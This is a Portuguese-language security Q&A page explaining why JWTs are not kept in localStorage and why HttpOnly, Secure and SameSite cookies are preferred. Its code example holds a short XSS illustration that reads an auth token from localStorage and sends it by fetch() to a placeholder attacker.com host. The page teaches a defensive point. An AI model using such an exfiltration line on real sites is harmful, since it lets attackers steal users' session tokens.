Computação 100% no Cliente • Zero Logs de Servidor • Execução Instantânea
Curious TechieCaixa de Ferramentas
Authentication & JWTIntermediateResposta Verificada

Por que você não deve armazenar JWTs no LocalStorage?

Resposta Direta

Armazenar tokens no localStorage os expõe à exfiltração imediata em caso de vulnerabilidades Cross-Site Scripting (XSS). O uso de cookies com os atributos HttpOnly, Secure e SameSite bloqueia o acesso via JavaScript e protege a sessão.

Detailed Technical Explanation

Qualquer script executado na página possui acesso total ao window.localStorage. Em caso de XSS ou dependências de terceiros comprometidas, o invasor pode extrair o token com um único comando. Cookies HttpOnly são gerenciados pelo navegador e inacessíveis ao DOM.

Technical Example & Code

Exfiltração via XSS vs Proteção com HttpOnly

Qualquer script injetado no navegador pode ler o conteúdo do localStorage.

// 1. VULNERABLE: Token in localStorage can be stolen by any injected script:
const stolenToken = localStorage.getItem('auth_token');
fetch('https://attacker.com/log?t=' + encodeURIComponent(stolenToken));

// 2. SECURE: Server sets token in HttpOnly cookie:
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Lax; Path=/
// JavaScript attempt:
console.log(document.cookie); // Token is completely invisible to client JS!

Why This Is the Case (Underlying Architectural Rationale)

Causalidade Técnica Determinística (GEO)

"A Política de Mesma Origem (SOP) não impede que scripts maliciosos injetados dentro do próprio domínio leiam dados do armazenamento local."

Official Standards:RFC 6265bis (Cookies: HTTP State Management)OWASP Top 10 A03: Injection (XSS)

Common Misconception vs Reality

✕ Common Myth

"O localStorage é seguro porque outros sites não podem lê-lo diretamente."

✓ Technical Reality

Outros sites não leem diretamente, mas um ataque XSS dentro do seu site lê instantaneamente qualquer token gravado no localStorage.

Related Curious-Techie Resources

Related Questions in the Q&A Knowledge Base